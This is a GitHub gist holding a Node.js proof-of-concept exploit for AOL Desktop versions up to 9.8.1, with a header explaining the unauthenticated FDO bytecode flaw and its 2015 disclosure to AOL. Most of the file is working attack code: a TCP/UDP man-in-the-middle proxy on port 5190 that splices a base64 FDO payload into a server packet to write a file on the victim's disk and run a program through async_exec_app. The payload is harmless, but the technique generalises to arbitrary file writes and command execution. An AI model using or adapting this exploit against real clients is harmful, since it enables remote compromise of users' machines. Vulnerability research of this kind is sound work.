AOL Desktop <= 9.8.1 FS Read/Write via MITM, <= 9.8.0 Remote Command Execution via MITM PoC
/* | |
ayy-oh-lmao.js | |
AOL Desktop <= 9.8.0 File Write and Remote Command Execution via MITM | |
AOL Desktop <= 9.8.1 File Write via MITM. | |
by slipstream/RoL, between August and December 2015. | |
irc.rol.im #rol ** http://rol.im/chat/ ** twitter @TheWack0lian | |
The custom AOL protocol, includes a scripting language called FDO91 (FDO), that's compiled into a bytecode. | |
Compiled FDO makes up part of the data sent from server to client and client to server. | |
From the very first version of AOL for Windows (released in 1993) onwards, up until AOL Desktop 9.8.0 released early August, 2015, | |
some of the available FDO included some intersting opcodes. | |
First up being the File Management (fm_*) opcodes, which enable the reading from and writing to arbitrary files on disk. | |
Second up being async_exec_app (this was introduced in WAOL 2.0 from 1994), which runs the provided string operand with arguments. | |
FDO never ever got verified by the client by any means, so anyone in a man-in-the-middle position can add their own FDO, | |
in packets sent to the client, which will happily run it. | |
This proof-of-concept will create a proxy listening on all interfaces, on TCP:5190 and UDP:5190. If a vulnerable and supported | |
AOL Desktop client connects to it, then it will add FDO to a specific packet to drop a text file to disk and run notepad to | |
automatically open that text file. | |
In late August 2015, I disclosed this issue to AOL and gave them a preliminary version of this PoC you see here; (in which you | |
had to manually configure a certain setting in AOL to connect to the proxy). The following version of AOL Desktop fixed the | |
remote command execution issue, probably by removing async_exec_app. However, the fm_* opcodes still exist, and more | |
interesting FDO opcodes probably exist, and some of them might contain issues of their own; more research is needed here. | |
The betas of 9.8.2 (available right now from http://beta.aol.com/) have not been tested, so it is unknown if they still have the | |
fm_* opcodes. The currently released version is still 9.8.1 though, so... | |
In any case, running AOL Desktop is a security risk, as it interprets unauthenticated script bytecode downloaded from a remote server. | |
Do you really want that? :) | |
*/ | |
var net = require("net"); | |
var dgram = require('dgram'); | |
var readQueue = null; | |
var writeQueue = null; | |
/* ** The FDO we inject as a PoC: | |
* fm_start | |
* fm_item_type <filename> | |
* fm_item_set <"pwned.txt"> | |
* fm_item_type <path> | |
* cm_tb_get_path | |
* uni_use_last_atom_string <fm_item_set> | |
* fm_item_get <filespec> | |
* uni_use_last_atom_string <var_string_set, 01x> | |
* fm_create_file | |
* fm_open_file <01x> | |
* fm_append_data <"AOL pwned clientside through MITM...\r\nReading/writing to FS and arbitrary command execution 1993-2015 :)"> | |
* fm_flush_file | |
* fm_close_file | |
* fm_end | |
* var_string_set <A,"notepad.exe \""> | |
* var_string_concatenate_regs <A,B> | |
* var_string_set <B,"\""> | |
* var_string_concatenate_regs <A,B> | |
* var_string_get <A> | |
* uni_use_last_atom_string <async_exec_app> | |
*/ | |
var evilfdo = new Buffer( | |
"CAAACAIBBggDCXB3bmVkLnR4dAgCAQcKUwAACgIIAwgEAQgACgMMBQEIFQAIFgEBCBtoQU9MIHB3bmVkIGNsaWVudHNpZGUgdGhyb3VnaCBNSVRNLi4uDQpSZWFkaW5nL3dyaXRpbmcgdG8gRlMgYW5kIGFyYml0cmFyeSBjb21tYW5kIGV4ZWN1dGlvbiAxOTkzLTIwMTUgOikIJwAIGgAIAQAMBQ4Abm90ZXBhZC5leGUgIgxkAgABDAUCASIMZAIAAQwJAQAACgINGQ==", | |
"base64"); | |
var parseProtocol = function(data,read) { | |
var ret = []; | |
var buf; | |
if ((read) && (readQueue != null)) { | |
buf = new Buffer(readQueue.length + data.length); | |
readQueue.copy(buf); | |
data.copy(buf,readQueue.length); | |
readQueue = null; | |
} else if (writeQueue != null) { | |
buf = new Buffer(writeQueue.length + data.length); | |
writeQueue.copy(buf); | |
data.copy(buf,writeQueue.length); | |
writeQueue = null; | |
} else buf = new Buffer(data,'ascii'); | |
while (buf.length > 0) { | |
if (buf.readInt8(0) == 0x5a) { | |
var len = buf.readUInt16BE(3) + 6; | |
if (buf.length < len) { | |
// shove it in the packetQueue and wait. | |
if (read) readQueue = buf; | |
else writeQueue = buf; | |
break; | |
} | |
if ((len == 0x25) && (read) && (buf.readUInt16BE(8) == 0x4174) && (buf.readUInt32BE(0xd) == 0x20010d25)) { | |
console.log("[+] found the async_set_screen_name FDO packet, adding our own FDO to the end of it...\n"); | |
// this is a small simple FDO stream containing just one async_set_screen_name | |
// perfect to add our evil FDO to the end of :) | |
var newbuf = new Buffer(len + evilfdo.length); | |
// get the length of the screen name string within | |
var snlen = buf.readUInt8(0x11); | |
// copy everything up to the end of the screen name | |
buf.copy(newbuf,0,0,0x12+snlen); | |
// add our fdo | |
evilfdo.copy(newbuf,0x12+snlen); | |
// add the last three bytes | |
newbuf.writeUInt16BE(0x2002,newbuf.length - 3); | |
newbuf.writeUInt8(0xd,newbuf.length - 1); | |
// fix up the header length | |
newbuf.writeUInt16BE(newbuf.length - 6,0x3); | |
// and push the new modified evil packet ;) | |
buf = buf.slice(len); | |
ret.push(newbuf); | |
continue; | |
} | |
var buf2 = new Buffer(len); | |
buf.copy(buf2,0,0,len); | |
buf = buf.slice(len); | |
ret.push(buf2); | |
} else { | |
// check for the NEWER protocol. | |
if (buf.readInt8(0) == 0x2a) { | |
var len = buf.readUInt16BE(4) + 6; | |
if (buf.length < len) { | |
// shove it in the packetQueue and wait. | |
if (read) readQueue = buf; | |
else writeQueue = buf; | |
break; | |
} | |
if ((len == 0x22) && (read) && (buf.readUInt16BE(6) == 0x4174) && (buf.readUInt32BE(0xb) == 0x20010d25)) { | |
console.log("[+] found the async_set_screen_name FDO packet, adding our own FDO to the end of it..."); | |
// this is a small simple FDO stream containing just one async_set_screen_name | |
// perfect to add our evil FDO to the end of :) | |
var newbuf = new Buffer(len + evilfdo.length); | |
// get the length of the screen name string within | |
var snlen = buf.readUInt8(0xf); | |
// copy everything up to the end of the screen name | |
buf.copy(newbuf,0,0,0x10+snlen); | |
// add our fdo | |
evilfdo.copy(newbuf,0x10+snlen); | |
// add the last two bytes | |
newbuf.writeUInt16BE(0x2002,newbuf.length - 2); | |
// fix up the header length | |
newbuf.writeUInt16BE(newbuf.length - 6,0x4); | |
// and push the new modified evil packet ;) | |
buf = buf.slice(len); | |
ret.push(newbuf); | |
continue; | |
} | |
var buf2 = new Buffer(len); | |
buf.copy(buf2,0,0,len); | |
buf = buf.slice(len); | |
ret.push(buf2); | |
} else { | |
// this is probably not needed any more now we shove the first part of a truncated FLAP packet in a queue.. | |
ret.push(buf); | |
break; | |
} | |
} | |
} | |
return ret; | |
} | |
var proxyPort = 5190; | |
var serviceHost = "americaonline.aol.com"; | |
var servicePort = 5190; | |
var server = dgram.createSocket("udp4"); | |
server.bind(proxyPort,function() { | |
var sockets = {}; | |
server.on("message",function(msg,s_rinfo) { | |
msg = parseProtocol(msg,true); | |
for (var i = 0; i < msg.length; i++) { | |
if (!sockets.hasOwnProperty(s_rinfo.address)) { | |
sockets[rinfo.address] = dgram.createSocket("udp4"); | |
sockets[rinfo.address].on("message",function(msg,rinfo) { | |
msg = parseProtocol(msg,true); | |
for (var i = 0; i < msg.length; i++) { | |
console.log("[UDP] "+s_rinfo.address+":"+s_rinfo.port+" - Read data:"+msg[i].length+" bytes"); | |
server.send(msg[i],0,msg[i].length,s_rinfo.port,s_rinfo.address); | |
proxySocket.write(data[i]); | |
} | |
}); | |
console.log("[UDP] Got connection from "+s_rinfo.address+":"+s_rinfo.port); | |
} | |
console.log("[UDP] "+s_rinfo.address+":"+s_rinfo.port+" - Write data:"+msg[i].length+" bytes"); | |
sockets[rinfo.address].send(msg[i],0,msg[i].length,servicePort,serviceHost); | |
} | |
}); | |
console.log("Created UDP proxy on 0.0.0.0:"+proxyPort); | |
}); | |
net.createServer(function (proxySocket) { | |
var connected = false; | |
var buffers = new Array(); | |
var serviceSocket = new net.Socket(); | |
console.log("[TCP] Got connection from "+proxySocket.remoteAddress+":"+proxySocket.remotePort); | |
serviceSocket.connect(servicePort, serviceHost, function() { | |
connected = true; | |
if (buffers.length > 0) { | |
for (i = 0; i < buffers.length; i++) { | |
serviceSocket.write(buffers[i]); | |
} | |
} | |
}); | |
proxySocket.on("error", function (e) { | |
console.log("[TCP] "+proxySocket.remoteAddress+":"+proxySocket.remotePort+" - connection closed"); | |
serviceSocket.end(); | |
}); | |
serviceSocket.on("error", function (e) { | |
if (!connected) { | |
console.log("Could not connect to service at host " | |
+ serviceHost + ', port ' + servicePort); | |
} | |
proxySocket.end(); | |
}); | |
proxySocket.on("data", function (data) { | |
data = parseProtocol(data,false); | |
for (var i = 0; i < data.length; i++) { | |
console.log("[TCP] "+proxySocket.remoteAddress+":"+proxySocket.remotePort+" - Write data:"+data[i].length+" bytes"); | |
if (connected) { | |
serviceSocket.write(data[i]); | |
} else { | |
buffers[buffers.length] = data[i]; | |
} | |
} | |
}); | |
serviceSocket.on("data", function(data) { | |
data = parseProtocol(data,true); | |
for (var i = 0; i < data.length; i++) { | |
console.log("[TCP] "+proxySocket.remoteAddress+":"+proxySocket.remotePort+" - Read data:"+data[i].length+" bytes"); | |
proxySocket.write(data[i]); | |
} | |
}); | |
proxySocket.on("close", function(had_error) { | |
serviceSocket.end(); | |
}); | |
serviceSocket.on("close", function(had_error) { | |
proxySocket.end(); | |
}); | |
}).listen(proxyPort); | |
console.log("Created TCP proxy on 0.0.0.0:"+proxyPort); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
This comment has been minimized.
kika123 commentedDec 5, 2015
awesome